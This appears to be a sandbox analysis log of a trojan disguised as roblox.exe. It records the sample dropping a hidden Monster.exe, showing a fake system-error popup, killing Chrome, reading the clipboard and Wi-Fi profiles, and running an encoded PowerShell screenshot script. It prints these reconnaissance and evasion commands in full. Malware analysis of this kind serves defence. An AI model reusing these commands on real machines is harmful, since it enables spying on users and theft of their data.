Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE1D83	3_2_00007FF8A7DE1D83
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE736A	3_2_00007FF8A7DE736A
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE3A85	3_2_00007FF8A7DE3A85
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE5F10	3_2_00007FF8A7DE5F10
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE35FD	3_2_00007FF8A7DE35FD
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE15C8	3_2_00007FF8A7DE15C8
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE54CA	3_2_00007FF8A7DE54CA
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7F217A0	3_2_00007FF8A7F217A0
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE542F	3_2_00007FF8A7DE542F
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE53C1	3_2_00007FF8A7DE53C1
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE6564	3_2_00007FF8A7DE6564
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE2135	3_2_00007FF8A7DE2135
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE59F7	3_2_00007FF8A7DE59F7
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE54CF	3_2_00007FF8A7DE54CF
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE4AC5	3_2_00007FF8A7DE4AC5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 55_2_00007FF8477B2CA9	55_2_00007FF8477B2CA9

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe BCDD8B7C9EC736765D4596332C0FEC1334B035D4456DF1EC25B569F9B6431A23
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_asyncio.pyd 3B0661EF2264D6566368B677C732BA062AC4688EF40C22476992A0F9536B0010

Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: String function: 00007FF8A7DE24B9 appears 83 times
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: String function: 00007FF8A7DE483B appears 128 times
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: String function: 00007FF8A7DE1EF1 appears 1581 times
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: String function: 00007FF8A7DE2734 appears 511 times
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: String function: 00007FF8A7DE688E appears 31 times
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: String function: 00007FF8A7DE4D68 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: String function: 00007FF8A7DE300D appears 55 times
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: String function: 00007FF8A7DE4057 appears 782 times
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: String function: 00007FF8A7DE698D appears 49 times
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: String function: 00007FF8A7DE2A04 appears 172 times

Source: _overlapped.pyd.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: roblox.exe	Static PE information: Number of sections : 12 > 10
Source: Monster.exe.3.dr	Static PE information: Number of sections : 12 > 10
Source: stub.exe.0.dr	Static PE information: Number of sections : 12 > 10

Source: python3.dll.0.dr

Static PE information: No import functions for PE file found

Source: roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs roblox.exe
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs roblox.exe
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AE1D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamepython310.dll. vs roblox.exe
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AE1D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs roblox.exe
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AE1D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs roblox.exe
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_asyncio.pyd. vs roblox.exe
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs roblox.exe
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs roblox.exe
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_decimal.pyd. vs roblox.exe
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs roblox.exe
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs roblox.exe
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_multiprocessing.pyd. vs roblox.exe
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_overlapped.pyd. vs roblox.exe
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs roblox.exe
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs roblox.exe
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs roblox.exe
Source: roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibsslH vs roblox.exe
Source: roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamepyexpat.pyd. vs roblox.exe
Source: roblox.exe, 00000000.00000003.2221867943.000001B2ADE29000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamepython3.dll. vs roblox.exe
Source: roblox.exe, 00000000.00000003.2221867943.000001B2ADDA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibcryptoH vs roblox.exe

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: classification engine

Classification label: mal100.spre.phis.troj.spyw.evad.winEXE@108/57@2/3

Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe

File created: C:\Users\user\AppData\Local\MonsterUpdateService\

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6008:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Mutant created: \Sessions\1\BaseNamedObjects\M

Source: C:\Users\user\Desktop\roblox.exe

File created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352

Jump to behavior

Source: roblox.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\mshta.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "chrome.exe")
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "chrome.exe")

Source: C:\Users\user\Desktop\roblox.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\roblox.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\cmd.exe

File read: C:\Windows\System32\drivers\etc\hosts

Source: roblox.exe, 00000000.00000003.2221867943.000001B2AE1D2000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2581243629.00007FF8A8A92000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AE1D2000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2581243629.00007FF8A8A92000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AE1D2000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2581243629.00007FF8A8A92000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AE1D2000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2581243629.00007FF8A8A92000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AE1D2000.00000004.00000020.00020000.00000000.sdmp, stub.exe, stub.exe, 00000003.00000002.2581243629.00007FF8A8A92000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AE1D2000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2581243629.00007FF8A8A92000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: stub.exe, 00000003.00000003.2289291771.000002895A21C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AE1D2000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2581243629.00007FF8A8A92000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: roblox.exe

ReversingLabs: Detection: 63%

Source: unknown	Process created: C:\Users\user\Desktop\roblox.exe "C:\Users\user\Desktop\roblox.exe"
Source: C:\Users\user\Desktop\roblox.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\roblox.exe	Process created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe C:\Users\user\Desktop\roblox.exe
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe"
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()""
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "taskkill /F /IM chrome.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "chcp"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\systeminfo.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\HOSTNAME.EXE hostname
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic logicaldisk get caption,description,providername
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\query.exe query user
Source: C:\Windows\System32\query.exe	Process created: C:\Windows\System32\quser.exe "C:\Windows\system32\quser.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net localgroup
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net localgroup administrators
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup administrators
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user guest
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user guest
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user administrator
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user administrator
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic startup get caption,command
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /svc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ROUTE.EXE route print
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ARP.EXE arp -a
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\NETSTAT.EXE netstat -ano
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query type= service state= all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show state
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show config
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAiAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAiACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAHMAYwByAGUAZQBuAHMAaABvAHQAKABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdACQAYgBvAHUAbgBkAHMALAAgACQAcABhAHQAaAApACAAewANAAoAIAAgACAAJABiAG0AcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACAAJABiAG8AdQBuAGQAcwAuAHcAaQBkAHQAaAAsACAAJABiAG8AdQBuAGQAcwAuAGgAZQBpAGcAaAB0AA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAbQBwACkADQAKAA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoACQAYgBvAHUAbgBkAHMALgBMAG8AYwBhAHQAaQBvAG4ALAAgAFsARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdABdADoAOgBFAG0AcAB0AHkALAAgACQAYgBvAHUAbgBkAHMALgBzAGkAegBlACkADQAKAA0ACgAgACAAIAAkAGIAbQBwAC4AUwBhAHYAZQAoACQAcABhAHQAaAApAA0ACgANAAoAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAIAAgACAAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA0ACgB9AA0ACgANAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdADoAOgBGAHIAbwBtAEwAVABSAEIAKAAwACwAIAAwACwAIAAxADkAMgAwACwAIAAxADAAOAAwACkADQAKACQAcABhAHQAaAAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQAgAC4AKQAuAEYAdQBsAGwATgBhAG0AZQArACIAXABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AcABuAGcAIgANAAoAcwBjAHIAZQBlAG4AcwBoAG8AdAAgACQAYgBvAHUAbgBkAHMAIAAkAHAAYQB0AGgA"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAiAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAiACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAHMAYwByAGUAZQBuAHMAaABvAHQAKABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdACQAYgBvAHUAbgBkAHMALAAgACQAcABhAHQAaAApACAAewANAAoAIAAgACAAJABiAG0AcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACAAJABiAG8AdQBuAGQAcwAuAHcAaQBkAHQAaAAsACAAJABiAG8AdQBuAGQAcwAuAGgAZQBpAGcAaAB0AA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAbQBwACkADQAKAA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoACQAYgBvAHUAbgBkAHMALgBMAG8AYwBhAHQAaQBvAG4ALAAgAFsARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdABdADoAOgBFAG0AcAB0AHkALAAgACQAYgBvAHUAbgBkAHMALgBzAGkAegBlACkADQAKAA0ACgAgACAAIAAkAGIAbQBwAC4AUwBhAHYAZQAoACQAcABhAHQAaAApAA0ACgANAAoAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAIAAgACAAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA0ACgB9AA0ACgANAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdADoAOgBGAHIAbwBtAEwAVABSAEIAKAAwACwAIAAwACwAIAAxADkAMgAwACwAIAAxADAAOAAwACkADQAKACQAcABhAHQAaAAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQAgAC4AKQAuAEYAdQBsAGwATgBhAG0AZQArACIAXABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AcABuAGcAIgANAAoAcwBjAHIAZQBlAG4AcwBoAG8AdAAgACQAYgBvAHUAbgBkAHMAIAAkAHAAYQB0AGgA
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Users\user\Desktop\roblox.exe	Process created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe C:\Users\user\Desktop\roblox.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe""	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()""	Jump to behavior
